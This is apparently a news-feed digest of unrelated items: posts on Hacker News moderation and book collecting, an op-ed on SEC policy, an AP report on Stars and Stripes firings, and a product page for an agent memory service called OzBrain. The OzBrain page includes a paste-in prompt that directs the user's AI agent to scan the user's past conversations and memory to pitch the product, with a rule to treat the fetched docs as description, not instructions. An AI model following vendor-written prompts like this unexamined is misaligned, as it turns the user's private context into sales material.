The ranking scheme seems to penalize posts that have a lot of comments on the theory that flamebait topics will draw a lot of comments. That sometimes prematurely buries stories with good discussion, but much more often, it buries stories that draw pointless flamewars. If you just read HN, it’s hard to see the effect, but if you look at forums that use comments as a positive factor in ranking, the difference is dramatic -- those other forums that boost topics with many comments (presumably on theory that vigorous discussion should be highlighted) often have content-free flame wars pinned at the top for long periods of time.

Something else that HN does that’s different from most forums is that user flags are weighted very heavily. On reddit, a downvote only cancels out an upvote, which means that flamebait topics that draw a lot of upvotes like “platform X is cancer” “Y is doing some horrible thing” often get pinned to the top of r/programming for a an entire day, since the number of people who don’t want to see that is drowned out by the number of people who upvote outrageous stories. If you read the comments for one of the "X is cancer" posts on r/programming, the top comment will almost inevitably that the post has no content, that the author of the post is a troll who never posts anything with content, and that we'd be better off with less flamebait by the author at the top of r/programming. But the people who will upvote outrage porn outnumber the people who will downvote it, so that kind of stuff dominates aggregators that use raw votes for ranking. Having flamebait drop off the front page quickly is significant, but it doesn’t seem sufficient to explain why there are so many more well-informed comments on HN than on other forums with roughly similar traffic.

Maybe the answer is that people come to HN for the same reason people come to Silicon Valley -- despite all the downsides, there’s a relatively large concentration of experts there across a wide variety of CS-related disciplines. If that’s true, and it’s a combination of path dependence on network effects, that’s pretty depressing since that’s not replicable.

If you liked this curated list of comments, you'll probably also like this list of books and this list of blogs .

This is part of an experiment where I write up thoughts quickly, without proofing or editing. Apologies if this is less clear than a normal post. This is probably going to be the last post like this, for now, since, by quickly writing up a post whenever I have something that can be written up quickly, I'm building up a backlog of post ideas that require re-reading the literature in an area or running experiments.

P.S. Please suggest other good comments ! By their nature, HN comments are much less discoverable than stories, so there are a lot of great coments that I haven't seen.

President AOC, Senator Chi Ossé ?

hellgate
hellgatenyc.com
2026-08-21 19:50:28
Rumblings of a 2028 where charismatic DSA members might try their hand at higher office. A gambling update. ICE getting sued by the septuagenarian they maced. And our intern looks back on the summer she turned Hell Gate....
Original Article
President AOC, Senator Chi Ossé ?

Podcast

Rumblings of a 2028 where charismatic DSA members might try their hand at higher office. A gambling update. ICE getting sued by the septuagenarian they maced. And our intern looks back on the summer she turned Hell Gate.

Editor Holly Pretsky dove into NYC-DSA’s caucuses and found rumblings of a 2028 where charismatic DSA members might try their hand at higher office. Editor Christopher Robbins updated us on the state of gambling in New York—from prediction markets to "dead facades." Start placing your Kalshi bets now.

Then, Jessy Edwards on ICE getting sued by the septuagenarian they maced—And finally Alisha Allison, our intern, looks back on the summer she turned Hell Gate.

Paul Atkins Misreads Adam Smith and the American Founding

Hacker News
sites.duke.edu
2026-08-21 19:32:44
Comments...
Original Article

On June 30, Paul Atkins, chairman of the Securities and Exchange Commission, stood before the Economic Club of New York and delivered a history lesson. With the nation’s 250th birthday days away, Mr. Atkins told his audience that the Declaration of Independence and Adam Smith’s “Wealth of Nations,” both products of 1776, rest on “the same conviction: trust the individual, not the institution.” America’s founding documents, he said, “in many respects, reflect Smith’s central themes,” and the founders, wary of concentrated power “whether lodged in a crown, in a parliament, or in a bureaucracy,” built around liberty a governing framework “as light as prudence would permit.”

The problem is that Mr. Atkins turns the coincidence of 1776 into kinship, and kinship into influence. He then conscripts that invented founding into a deregulatory agenda, capped by a wholesale retreat from cryptocurrency enforcement, that America’s founders would have recognized as a corruption of republican government.

Start with the Declaration. Mr. Atkins’s most concrete evidence is Jefferson’s well-worn copy of “The Wealth of Nations.” But the Monticello source cited in his own footnote reports that Jefferson acquired the book while serving in France between 1784 and 1789, at least eight years after he drafted the Declaration. Jefferson may have encountered Smith’s ideas before 1776, but there is no evidence that “The Wealth of Nations” shaped the Declaration. On the contrary, Jefferson told James Madison in 1823 that he “turned to neither book nor pamphlet” while writing it. Asked by Henry Lee in 1825 about its sources, he described the Declaration as “an expression of the American mind,” reflecting the “harmonising sentiments of the day” embodied in “the elementary books of public right, as Aristotle, Cicero, Locke, Sidney, etc.”

By fusing America’s founding to “The Wealth of Nations,” Mr. Atkins turns Smith’s defense of free markets into a justification for weakening public oversight of politically favored financial interests. Notice that Atkins’ catalog of dangers includes crowns, parliaments and bureaucracies, but omits the economic factions the founders also recognized as potential threats to republican government. James Madison warned in Federalist No. 10 that “the most common and durable source of factions has been the various and unequal distribution of property,” specifically identifying the landed, manufacturing, mercantile and moneyed interests. Jefferson made the point even more explicitly. Writing in 1816, he called for the nation to “crush in its birth the aristocracy of our monied corporations, which dare already to challenge our government to a trial of strength and bid defiance to the laws of our country.”

The founders valued private property and encouraged commerce. But they also recognized a basic republican principle that Mr. Atkins ignores: power can threaten liberty whether it is wielded by the state or by private interests wealthy enough to bend the state to their will.

That missing half of the founding tradition becomes impossible to ignore when Mr. Atkins turns to cryptocurrency. He boasted that the S.E.C. is answering President Trump’s call “to make America the Crypto Capital of the World.” In practice, that has meant dismissing, or settling on favorable terms for the defendant, the majority of outstanding cryptocurrency enforcement actions, several of them involving defendants with business ties to the president or his family.

The crypto industry helped underwrite the political conditions for this solicitude. It was the top corporate donor in the 2024 election cycle and has already amassed a nine-figure campaign arsenal for the coming midterms. And the president is personally invested in the outcome. His own financial disclosure reports that he earned more than $1.4 billion in income from his family’s crypto ventures in 2025.

Mr. Atkins’s crypto agenda is difficult to reconcile with his tribute to Adam Smith, because Smith did not regard money and banking as a realm beyond public law. He welcomed privately issued bank notes redeemable in gold or silver, recognizing them as an efficient means of facilitating commerce. But when Scottish banks issued small-denomination notes whose failure would fall hardest on poor laborers, Smith endorsed restricting them, conceding that the rule violated “natural liberty” but defending it as “exactly of the same kind” as requiring party walls to stop the spread of fire.

The Constitution reflects a similar instinct. Having witnessed the paper currency issued by the Continental Congress depreciate into worthlessness, the Framers vested authority over the nation’s monetary system in Congress, giving it the power to “coin Money” and “regulate the Value thereof,” while forbidding the states to coin money, issue bills of credit or make anything but gold and silver legal tender. They did not prohibit private bank notes, but they made clear that establishing the nation’s monetary framework was a public responsibility. In different ways, Smith and the Framers reached the same conclusion: private monetary innovation has a place, but it must remain subject to public law. Mr. Atkins’s crypto agenda is difficult to reconcile with that principle.

Mr. Atkins closed with a warning about socialism, in an unmistakable shot at Mayor Zohran Mamdani and other New York leaders who, he said, “are beginning to speak the language of control rather than of freedom.” He even quoted President Trump’s warning that under communism “great violence proceeds at levels never seen before.” But those warnings ring hollow coming from an administration that has repeatedly intervened in private markets, including by taking ownership stakes in private companies , while extending preferential treatment to politically connected firms. A warning about political violence likewise loses its force when its cited authority incited a mob to halt the peaceful transfer of power and then pardoned participants who beat police officers.

If Mr. Atkins is looking for a lesson about socialism, he might begin with the history of the agency he leads. American communism attracted its largest organized following during the Great Depression, after a stock market rife with fraud and manipulation, and lacking comprehensive federal oversight, crashed and helped drag the economy down with it. Congress responded with the Securities Act of 1933 and the Securities Exchange Act of 1934, creating the S.E.C. Critics denounced the legislation as socialism. Congressman Fred Britten complained that “the real object” of the 1934 law “is to Russianize everything.” But the republic survived and American capital markets went on to finance the American century under the very rules Mr. Atkins now portrays as shackles.

Mr. Atkins wants the founders to bless a world in which public power retreats and private financial power is presumed innocent. The actual founding will not cooperate. Jefferson feared a monied aristocracy, Madison feared faction, and Smith accepted restraints on banking when private liberty endangered society.

The S.E.C. was created to restore confidence in financial markets after their collapse had helped make socialism politically attractive. Well-regulated markets produce trust. Trust attracts investment, and broadly shared prosperity remains among the strongest defenses against political extremism. Markets retain their legitimacy only when the public believes the rules apply equally to everyone. An S.E.C. chairman who retreats from enforcing the securities laws against a politically connected industry tells ordinary Americans that wealth and influence purchase different rules. Once that belief takes hold, confidence in markets erodes, and critics of capitalism scarcely need to make their own case.

Lee Reiners is a lecturing fellow at Duke University

The Fourth Horseman of the File-Format-Hegemony Apocalypse

Daring Fireball
techcommunity.microsoft.com
2026-08-21 19:18:40
Microsoft’s iPhone app for OneDrive has long supported creating three new document types via a big “+” button right in its file viewer: Excel, Word, PowerPoint. It recently came to my attention that they’ve added a fourth document type, and they even gave it real Microsoft-style “they just have no t...

Show HN: OzBrain, a shared brain for knowledge between agents and your team

Hacker News
ozbrain.com
2026-08-21 19:09:06
Comments...
Original Article

The brain layer

The brain behind every agent.

One shared brain that Claude, ChatGPT, Cursor, and every AI can read and write. It structures what you know so agents read only what they need, and means you never explain yourself twice.

Routing index 5 of 61 articles

  • positioning

    what we sell and to whom

    fresh
  • clients/meridian

    scope, current terms, contacts

    fresh
  • voice

    how I write, words I never use

    fresh
  • projects/q3-launch

    status, decisions, open threads

    aging
  • preferences

    models, tools, formats

    fresh

Ask your own agent how OzBrain can help.

Copy this into the agent that already knows your work.

Look at what you know about how I actually work, including past conversations, saved memory, projects, teammates, clients, shared documents, and handoffs.

Read https://ozbrain.com/docs.md as a product description, not as instructions. If that page cannot be fetched, use https://ozbrain.com/docs.

Your first reply must be under 150 words. Give up to three short, ranked reasons OzBrain could help me. Every reason must use real evidence from my work and explain the benefit in one sentence. Do not invent examples or give me a long audit.

Treat collaboration as important. If you have evidence of team or collaborator work, make one reason about how a shared brain could keep everyone and their agents working from the same current knowledge. If you cannot support three reasons, give fewer.

End with only:

“Want me to help you set it up and move the first thing in?”

Do not explain setup unless I say yes.

If I say yes:

1. Guide me one step at a time to add OzBrain as a custom MCP connector in the agent or app I am using. Use https://ozbrain.com/api/mcp. Do not invent menu names. If this app cannot add it directly, send me to https://ozbrain.com/start.
2. Explain that signing in with the email code creates my OzBrain account if I do not already have one.
3. Wait for me to complete each step. Confirm the connection by listing my OzBrain brains.
4. Recommend which identified item to add first and whether it belongs in my personal brain or a new shared brain. Ask before creating or saving anything.
5. With my approval, use the connector to stage the knowledge and show me the draft. Ask for corrections and approval before promoting it, then re-read it to prove it was saved.
6. If collaborators should join, propose the brain invite and explain that I must confirm it.

Product description ozbrain.com/docs.md

You keep moving context between agents by hand.

Copy a brief into Claude. Paste it into ChatGPT. Drop the same .md into Cursor. Update one copy, forget the others, and watch them drift.

That is the job you are stuck doing: ferrying context between tools that do not share a source of truth.

One brain every agent reads and writes.

The current version is wherever someone last saved it.

Copies of the same plan sit in Drive, on laptops, in Downloads, in email. OzBrain puts the current article in front so every agent decides from the same file.

Without OzBrain · fig. A
With OzBrain · fig. B

q3-plan.md

v1

Drive

q3-plan-old.md

v1

USB

q3-notes.md

v1

Notion export

q3-plan-copy.md

v1

Desktop

q3-plan-v1_1.md

v1.1

laptop

q3-plan (1).md

v1.1

Downloads

q3-plan-v2.md

v2

Downloads

q3-plan-FINAL.md

v2

Drive

q3-plan-FINAL-v2.md

v2

Slack

q3-plan-reviewed.md

v2

laptop

q3-plan-v2-draft.md

v2-draft

email

Q3_PLAN_v3.md

v3

iCloud

plans/q3

current

company brain

“Humans abandon wikis because the maintenance burden grows faster than the value.”

Running in under 2 minutes.

In Claude on this computer: Settings, then Connectors, then Add custom connector. Paste the MCP URL, sign in with the email code, and approve. Then paste this:

https://ozbrain.com/api/mcp

Hey Claude, help me set up OzBrain. It's a brain my AI agents share: they read it for context at the start of work and write back what they learn, so every session starts already knowing my stuff. 1. A connector is how you talk to OzBrain. Help me add it once in Claude on the web (a computer is the reliable place; the Claude mobile app cannot add a custom connector): Settings → Connectors → Add custom connector → paste https://ozbrain.com/api/mcp. If I need click-by-click help, send me to https://ozbrain.com/start. Then wait while I connect and sign in with my email code. 2. Once it's connected, open my brain and run me through getting started.

Copied and ready to paste!

Open Claude and paste. Ask it to open your brain from there.

Platform memory keeps scraps and summaries. OzBrain holds the work itself.

Memory stores preferences, chat scraps, and thin daily summaries inside one product. OzBrain holds your projects, decisions, research, and the thinking you have already done, so every agent can pull the article the moment needs instead of whatever fits in a profile.

Platform memory · fig. 3

App Memory File

  • - Prefers short answers
  • - Uses TypeScript
  • - NEVER EVER use emdashes
  • - Dislikes filler words

Capped profile · four of many scraps

OzBrain · fig. 4

projects/q3-launch decisions/pricing research/competitors clients/meridian next-steps

Linked articles · grows with your work

Your knowledge compounds. Every agent reads from the same place.

The shared brain payoff

Built to stay coherent.

Local files go stale and get pasted into every agent. OzBrain keeps knowledge split so agents read only what they need, enforces size discipline at write time, and treats continuous maintenance as the designed behavior as your agents update the brain when things change.

  1. 0 1 fig. 5a

    Organizes for you

    New knowledge finds the right article. You do not design a filing system; the brain routes each write where it belongs.

    Staged write

    Meridian scope closed. New retainer starts Monday.

    Routes to

    clients/meridian

    scope, current terms, contacts

  2. 0 2 fig. 5b

    Stays coherent

    When a write disagrees with what the brain already holds, the write pauses and the conflict surfaces. Scheduled checks flag what went stale so agents know what to recheck.

    decisions/pricing

    Pause

    Staged write says $49/mo . Canon holds $29/mo .

    Conflict surfaced · canon untouched

  3. 0 3 fig. 5c

    Shows who changed what

    Every version records which agent wrote it and when. When agents run on their own, you can see what moved and catch what went off the rails.

    projects/q3-launch · history

    • v14 claude-code

      16:02
    • v13 chatgpt

      15:41
    • v12 cursor

      14:08
  4. 0 4 fig. 5d

    Refactors as it grows

    When an article gets too large for an agent to use well, the brain splits and reshapes it: refactoring, restructuring for clarity without changing what it says. More smaller articles means agents pull only what the task needs.

    Splits into

    architecture/overview

    stack, tenants, boundaries

    architecture/deploy

    envs, rollouts, rollback

Trust you can verify

Encrypted at rest. Visible when used.

We never train on your brain and never sell it. Content is sealed per account, every access is in your audit log, and you can leave with everything or delete it outright.

Encrypted at rest, per account

fig. 6a

clients/meridian

Sealed

a7f3:9c21:e04b:11d8

4b90:c2ee:78a1:0f55

d13c:····:····:8e2a

Account key · decrypt on read / maintenance

Article bodies are sealed under your account key. We decrypt only to serve your agents and run disclosed maintenance, including refactoring. A stolen database dump is ciphertext, not readable articles.

Envelope key · bodies sealed

Full audit log you can export

fig. 6b

Account log

Export CSV

  • 16:02 claude-code · write · projects/q3
  • 15:41 chatgpt · read · voice
  • 14:08 cursor · read · clients/meridian

Every read and write records which agent, which client, which article, and when. See it in your account. Export it as CSV. Check what touched your brain instead of trusting a promise.

Visible · exportable as CSV

Isolated tenants. Instant revoke.

fig. 6c

Tenant A

your brain

RLS

Tenant B

no path

Claude · connector

last active 2m ago

Revoke

Row-level security is forced in Postgres. There is no app-code path around it. Every connected agent is listed; revoke cuts that client immediately.

Forced RLS · OAuth revoke

Export anytime. Delete means deleted.

fig. 6d

Export

brain-export.zip

61 articles · plain markdown

Delete account

content · versions · blobs

Hard delete · not archived

Take the whole brain as plain markdown whenever you want, including after you cancel. Removing your account removes your content.

Markdown exit · hard delete

Start free. Pay when the brain is carrying weight.

Every plan includes unlimited reads and writes. You begin on Free. Pro and Max are there when one venture's knowledge, or the whole operation, lives in the brain.

Free

$0 forever

A real brain to start. Upgrade when you hit the ceiling.

  • Up to 50 articles
  • Sharing on brains you own
  • Unlimited brains, reads, writes, and connections
  • Write-time size discipline
  • Markdown export anytime

Start free

Pro

$20 per month

Room for one venture plus personal knowledge.

  • Up to 300 articles
  • Unlimited brains, reads, writes, and connections
  • Markdown export anytime

Start free

Max

$99 per month

When agents run the operation from one brain.

  • Up to 600 articles
  • Unlimited brains, reads, writes, and connections
  • Markdown export anytime

Start free

Company

Custom talk to us

Org-owned brains every seat's agents share.

  • Above the Max ceiling
  • Org-owned shared brains
  • Per-seat pricing when we design it with you
  • Talk to us to start

Talk to us

Questions with real answers.

What is OzBrain?

OzBrain is a shared brain every AI agent you use can read and write: structured articles with links, provenance, and freshness, behind the connector menu Claude and ChatGPT already show you. One source of truth, not a separate memory in each product.

Is this another memory API?

No. Memory APIs sell add and search endpoints to developers building apps. OzBrain is a brain you connect, not a service you code against. Read the full OzBrain vs Mem0 and Supermemory comparison.

ChatGPT and Claude already have memory. Why this?

They do. That is the problem: each platform builds a separate, partial version of you, and none of them talk. OzBrain is the layer under all of them. Full write-up: OzBrain vs ChatGPT Memory .

How is this different from Projects?

A project scopes one workstream inside one chat product. OzBrain holds the knowledge underneath every project and every agent. Read OzBrain vs Claude Projects or OzBrain vs ChatGPT Projects .

Is this Notion or Obsidian with AI?

Notes are written by you, for you. A brain is written by your agents, for your agents: every write is staged, routed, and checked against what the brain already holds. Compare OzBrain vs Notion or OzBrain vs Obsidian .

Which platforms does it work with?

Claude and ChatGPT through their native connector flows, plus Claude Code , Cursor , OpenClaw, Hermes Agent, Gemini Spark where Google makes it available (US, Spark eligibility), and any client that supports connectors. It is one URL; anything that speaks the protocol can hold the same brain.

Do I need to code?

No. Add OzBrain from the connector menu in Claude or ChatGPT, sign in, and approve it. Nothing to install. Connect guides for Claude and ChatGPT .

Is there a free plan? What if I leave?

Yes. You begin on Free. Pro and Max are there when the brain is carrying real work. Export as plain markdown anytime, including after you cancel. Delete means deleted: removing your account removes your content. We never train on your brain and never sell it.

The brain behind every agent.

Pentagon dismisses Stars and Stripes leadership after opposition to interference

Hacker News
apnews.com
2026-08-21 19:03:18
Comments...
Original Article

The Pentagon on Friday fired the editor-in-chief of Stars and Stripes and a top reporter for insubordination after they spoke publicly against any interference by the Defense Department in the military news outlet that has a long history of editorial independence. It was the latest move by an administration that has grown increasingly aggressive toward the news media.

The newspaper’s publisher, who announced his impending retirement days ago, was also dismissed.

Erik Slavin, editor-in-chief of the military newspaper that is partly funded by the Pentagon, told The Associated Press he was dismissed for insubordination after an interview he gave that objected to potential censorship by the U.S. military. He received a notice of separation, as did publisher Max Lederer — who had just announced his upcoming retirement — and Middle East reporter Lara Korte, Slavin said.

The moves come at a time when the Trump administration, in its second term, has been progressively combative toward the media — including sharply curtailing Pentagon access for the press corps that covers the Defense Department. Trump or other parts of the executive branch have also, in policy and in the courts, grappled with The Wall Street Journal, The Associated Press and The New York Times — in addition to using the FCC to target broadcast networks.

Slavin said he was being fired “for stating in a CBS interview that hypothetical censorship of news for service members would constitute a red line.” Korte participated in the same interview.

“I stand by the principle that Stars and Stripes must remain editorially independent, as required by law and by the department’s own policies,” Slavin said.

Media leaders are troubled

National Press Club President Mark Schoeff Jr. called the firing of Slavin “another brazen attempt by the Pentagon to dictate coverage of the military” and said it should be immediately reversed.

“Firing a newspaper editor after he publicly defended his newsroom’s editorial independence is deeply troubling, and it should concern every journalist and every member of the U.S. military who depends on independent reporting,” Schoeff said.

Neither Lederer nor Korte immediately responded to emailed requests for comment. Korte said on X: “Today, I was informed that the Department of Defense is firing me for insubordination after I told a CBS reporter that I work for Stars and Stripes — not the Pentagon, not the administration, and not any policy maker.”

Earlier this week, longtime publisher Lederer announced his retirement effective at the end of September. He made his announcement a few weeks after the Pentagon installed a new deputy publisher, an active duty service member, under him at the newspaper without his prior knowledge. Three Democratic senators on Thursday wrote to Defense Secretary Pete Hegseth, asking why the new deputy — Navy Capt. William Urban — had been installed.

This is our AP Ground Game newsletter.
You can subscribe below and we will email it you 3 times per week.

Sign up for the Ground Game Newsletter: Your guide to the biggest stories in politics, policy and U.S. elections.

The retirement of Lederer, who had been at Stars and Stripes for three decades and publisher since 2007, comes as Hegseth’s Pentagon has moved to exert editorial control and eliminate what it asserts are “woke distractions.”

“Stars and Stripes will be custom tailored to our warfighters,” Sean Parnell, Hegseth’s spokesman, wrote in January on X. “It will focus on warfighting, weapons systems, fitness, lethality, survivability and ALL THINGS MILITARY. No more repurposed DC gossip columns; no more Associated Press reprints.”

In April, the Pentagon fired Jacqueline Smith, ombudsman for the newspaper, whose job had been to safeguard editorial independence.

Lederer, the second full-time civilian in the position, wrote in a staff memo this week that it had “become clear that my philosophy of leadership, and my understanding of the value and mission of Stars and Stripes, differ in fundamental ways from the direction the leadership of the Department of Defense has for the organization.”

Newly installed Pentagon leader outlines his plan

In a letter posted on Stars and Stripes, Urban wrote of his plans and said: “I understand that I am now part of a team, committed to editorially independent journalism that best serves our most important customer, which is our service members, their families, and our greater military community.”

“I am a media junkie who has served as a communication professional engaged in being a spokesman for some of the hardest Public Affairs assignments in the Navy and Department of War for more than 20 years,” he wrote.

It was unclear whether Urban, currently titled “military deputy to the publisher,” would now become head publisher. “I can’t comment on what my role will be in the future,” he told the AP.

In a telephone interview, Urban said Stars and Stripes has “a strong team of professional journalists that are focused on the mission of providing our military service members and their families the best possible product. That mission is going to continue. All of us in leadership will continue to advocate for … the best possible journalism going forward.”

He said he had no formal journalism experience but cited his years in public affairs and communications. He said he would be focused on expanding digital journalism at the paper, because the service members to which it caters are often young and are “digital natives.”

“I think we need to get better on the digital side,” he said, “to make sure that we are reaching as many service members as we possibly can and having the impact that we should be having.”

I own 28,000 books – here's what I've learned

Hacker News
www.shelvd.org
2026-08-21 18:59:27
Comments...
Original Article

The number sounds impressive. People hear it and assume a certain grandeur — a private library with rolling ladders, mahogany shelving, one of those brass lamps that appear in photographs of Oxford colleges. The reality is more prosaic. Twenty-eight thousand books, at an average thickness of roughly 2.5 centimetres, is 700 linear metres of shelving. That's the length of seven football pitches, or — in the metric that matters — considerably more shelf space than exists in my house.

This is the first thing you learn when your collection crosses from "large" into "logistical situation": the books will outgrow any space you put them in. Not eventually. Quickly. The relationship between books and shelf space is not linear; it is exponential, because you are always acquiring faster than you are shelving, and the shelving itself takes space that could hold more books. It is a problem with no equilibrium. I have been solving it for twenty years, and I am further from a solution now than when I started.

The Shelving Problem

I have shelves in every room. This is not a design choice. It is a consequence. The living room, the study, the bedroom, the hallway, the spare room, the room that was a spare room until it became a book room, the room that was a book room until it became a second book room. There are shelves in the bathroom. I am not proud of this, but I am also not lying about it.

The shelves themselves are a history of optimism. The first ones were beautiful — solid oak, custom-built, spaced to accommodate the quartos and folios that seemed, at the time, to represent the future shape of the collection. They were expensive, and they filled up in eighteen months. The second wave was IKEA Billy bookcases, deployed with the pragmatism of a military logistics officer: cheap, modular, immediately available, and — this is their great virtue — exactly 28 centimetres deep, which accommodates 95% of octavos and all paperbacks. The third wave was industrial steel shelving in the basement, the kind used in warehouses. It is ugly. It holds a lot of books. At a certain point in a collector's life, capacity trumps aesthetics.

The mathematics of shelving are unforgiving. A standard Billy bookcase holds roughly 80 books per unit (five shelves, sixteen books per shelf, assuming average octavos). Twenty-eight thousand books therefore require approximately 350 Billy units, which would occupy roughly 280 metres of wall space if placed side by side — more wall space than most houses contain. You can double-shelve (books in front of books), which hides half your collection behind the other half and makes finding anything an archaeological expedition. You can stack horizontally on top of vertical rows, which looks terrible and eventually causes the shelf to bow. You can put books in boxes, which solves the space problem by creating a different problem: you now own boxes of books instead of a library.

I have done all of these things. I am not recommending any of them.

The Weight Problem

Books are heavy. This is obvious when you carry them, less obvious when you store them, and dramatically obvious when you try to move them.

A standard octavo weighs roughly 300–500 grams. A folio can weigh two to three kilograms. An art book — one of those magnificent oversized volumes that seemed like a good idea in the bookshop — can weigh five. Twenty-eight thousand books, at an average of 400 grams, weigh approximately 11,200 kilograms. Eleven tonnes. On your floors.

I learned about floor loading the hard way, when a crack appeared in the ceiling of the room below my library. The structural engineer who came to assess it looked at the shelves, looked at the ceiling, looked at me, and said something in Flemish that I will translate politely as "this is too many books for this floor." He was correct. The floor joists were rated for a domestic load — furniture, people, normal life. They were not rated for seven tonnes of literature arranged along one wall.

The solution was steel reinforcement beams, installed at a cost that would have bought several hundred more books. The irony was not lost on me. It is also not lost on my wife, who mentions it at intervals she considers appropriate and I consider too frequent.

If you collect seriously, check your floor loading. Consult a structural engineer before you fill a room. Distribute weight across multiple walls rather than concentrating it on one. And if you live in an older building — which, in Belgium, means most buildings — remember that "older" often means "built for people, not for libraries."

The Moving Problem

I have moved house twice with this collection. I will not move again. This is not a preference. It is a vow.

The first move involved approximately 400 boxes. I know this because I counted them, in the way that a prisoner counts the days. Each box held roughly 30 books (you cannot fill a box with books and expect to lift it; half-full is the maximum, which doubles the number of boxes). The removal men — three of them, young, strong, and visibly dismayed — took two full days to move the library alone. The look on the foreman's face when he saw the basement shelving is something I will carry with me for the rest of my life. It was not anger. It was not surprise. It was the expression of a man recalculating the fundamental economics of his profession.

The second move, five years later, involved roughly 550 boxes. The collection had grown. The removal estimate was substantially higher. I hired a firm that specialised in library moves — they exist, in the same way that firms specialising in piano moves exist, for the same reason: the object is heavy, fragile, and owned by someone who will become emotional if it is damaged. The specialist firm packed each shelf in sequence, labelled the boxes by room and shelf position, and unpacked them in reverse order at the new house. It was efficient, professional, and cost approximately the same as a decent used car. Worth every cent.

Lessons from moving 28,000 books: use small boxes (banana boxes from the supermarket are ideal — the right size, strong, free). Pack spine-down, not flat. Never fill a box to the top. Label every box with its shelf of origin. And budget more than you think — more money, more time, more patience, more floor space for temporary stacking.

The Insurance Problem

Insuring 28,000 books requires, first, knowing what they're worth, which requires, first, knowing what they are. This is the cataloging problem in its most expensive form.

I insure my collection through a specialist policy — the kind offered by firms that understand the difference between a book and a piece of furniture. The policy is based on an agreed total value, reviewed annually, with a schedule of individually valued items above a certain threshold (currently anything worth more than €1,000). Below that threshold, the collection is covered as an aggregate: total insured value divided by total number of volumes, producing an average per-book value that is, for a mixed collection, both mathematically correct and practically meaningless. The average value of a book in my collection is approximately €85. This means nothing — it averages a €15,000 incunabulum with three thousand paperbacks, producing a number that describes no actual book.

The individually scheduled items — perhaps 200 books, representing the top end of the collection — are valued by a combination of purchase receipts, auction comparables, and periodic formal appraisal. This list is the single most important document I own that is not a book. It lives in three places: my computer, a cloud backup, and a physical copy in a fireproof box that is not in the same building as the books. Redundancy is the point.

The Relationship Problem

A collection of 28,000 books is not a hobby. It is a cohabitant. It occupies space, demands attention, costs money, and has opinions about interior design. It affects your relationships in ways that are difficult to explain to people who do not collect.

My wife is tolerant. This is not the same as enthusiastic, and I have learned, over the years, to recognise the distinction. The tolerance extends to the shelves in the living room, the shelves in the hallway, and the study that is entirely mine. It does not extend to the kitchen, the children's rooms, or the car (I once stored three boxes of books in the boot for six weeks; this was noticed). The negotiation is ongoing, and like all negotiations, it depends on goodwill, compromise, and the occasional strategic concession — I removed the shelves from the bathroom. She pretends not to notice the boxes in the garage.

Other collectors understand. The look of recognition when you mention the number — the slight widening of the eyes, the nod that says "yes, I know" — is one of the quiet pleasures of the collecting community. Non-collectors, by contrast, tend to respond with one of three reactions: admiration (from people who read but don't collect), bewilderment (from people who don't read), or the particular expression — sympathetic, faintly alarmed — of someone who suspects they are in the presence of a condition.

It is not a condition. It is a commitment. The distinction is subtle but real.

What I've Actually Learned

After twenty years and 28,000 books, the lessons are not what I expected them to be.

You will never read them all. This is obvious, and it doesn't matter. A personal library is not a reading list. It is a reference collection, a research tool, a physical manifestation of your intellectual interests, and a comfort. The books you haven't read are not failures. They are possibilities.

The catalog is more important than the collection. A bold claim, and I stand by it. Without the catalog, the collection is a beautiful chaos — unsearchable, uninsurable, and ultimately unknowable. With the catalog, it is a tool. I resisted cataloging for years, using memory and spatial instinct to navigate the shelves. I was wrong. The day I started entering books into a system — first a spreadsheet, then a database, then the software I eventually built because nothing else did what I needed — was the day the collection became a library.

Buying is easy. Curating is hard. The difficult decisions in collecting are not what to buy but what to keep. At 28,000 volumes, every new acquisition implies a judgment about space, value, and purpose. Is this book better than the one it's replacing? Does it belong in this collection, or is it an impulse? Will I be glad I own it in ten years? These questions get harder as the collection grows, not easier, because the marginal value of each new book decreases as the total increases. The 28,001st book has to justify its existence against 28,000 competitors.

The books outlast everything. They outlast the shelves. They outlast the houses. They outlast the relationships that accommodated them and the bank accounts that funded them. A book I bought twenty years ago in a shop that no longer exists, from a dealer who has since retired, in a city I no longer live in, is still here. It has moved twice. It has been shelved in four different rooms. It has survived everything I've put it through, and it will survive me. This is either a consolation or a burden, depending on the day.

Twenty-eight thousand. It's not a round number, and it's not a final one. The collection is still growing — more slowly than it once did, more deliberately, with a better sense of what belongs and what doesn't. But it's growing. The shelves are full. The floors are reinforced. The insurance is current. The catalog is up to date.

And there's room for one more. There's always room for one more.

📖 Related in the Wiki: Import & Export , Importing Your Spreadsheet


Next in this series: a confession — the quiet, slightly obsessive pleasure of cataloging books on a Sunday afternoon.

Three important steps in my maturation process

Hacker News
thomasdullien.github.io
2026-08-21 18:29:00
Comments...
Original Article

My father passed recently, and he was twice my age. I am approximately the same age that he was when I was born, and I am now “the old generation” - there’s no one left in the generation above me.

At the same time, I recently joined a company that skews younger-than-me. When I joined Google in 2011, I had just turned 30, and was in the mainstream demographics of Google in 2011. There were a bunch of more senior folks, with the very senior ones being in their 50s and having completed stints at Bell Labs. I admired a lot of these “greybeards” (even though this is a sexist term - what’s the right female equivalent? There were a few very senior female engineers that I would love to include).

So perhaps it is natural that I am reflecting on “what were the important realizations that I made since my early 20s that had a profound impact on the way I think about the world”? In some sense: What are the insights I had that made me “more mature”, for some positive definition of “mature”?

This post tries to list them.

1. The importance of understanding your own incentive structure, and not believing everything you think.

I recently wrote a Twitter thread about the topic. Oppenheimer was very publicly guilt-ridden about the creation of the nuclear bomb, and von Neumann at some point quipped “some people profess guilt to claim credit for sin”. In my young years, particularly in situations when I had 0day that nobody else had, I agonized about the responsibility that comes with having 0day. Should I fix them? Should I use them for good? Will the world be harmed this way? Or that way?

In the end, it turns out that - while individuals matter - many ideas have a “time at which they are ripe”, and the actions of the individual matter less than the individual thinks in that moment. There is also almost no way to predict the ways in which what you do impacts the broader world.

If you were asked: “Would it be good if this 0day was used to apprehend a terrorist?” you would probably say “this is good”. If you were asked “would it be good if this 0day is used to arrest someone and then torture and waterboard him 183 times?”, you would probably say “this is bad”. So if your 0day was used to capture KSM, it is probably good? Or bad? Things get very complicated very quickly.

Is closing 0days good for society, because it makes everything safer? Or is it enabling oppression, because buggy systems are easier to bypass?

There are no good answers, and your own incentive structure will greatly influence how you choose your beliefs. In the end, people want to be the heroes of their own story, and at the same time they have basal needs for recognition, for material goods, etc. - so they will try to construct a narrative that allows them to satisfy their basal needs while also remaining the hero of their saga.

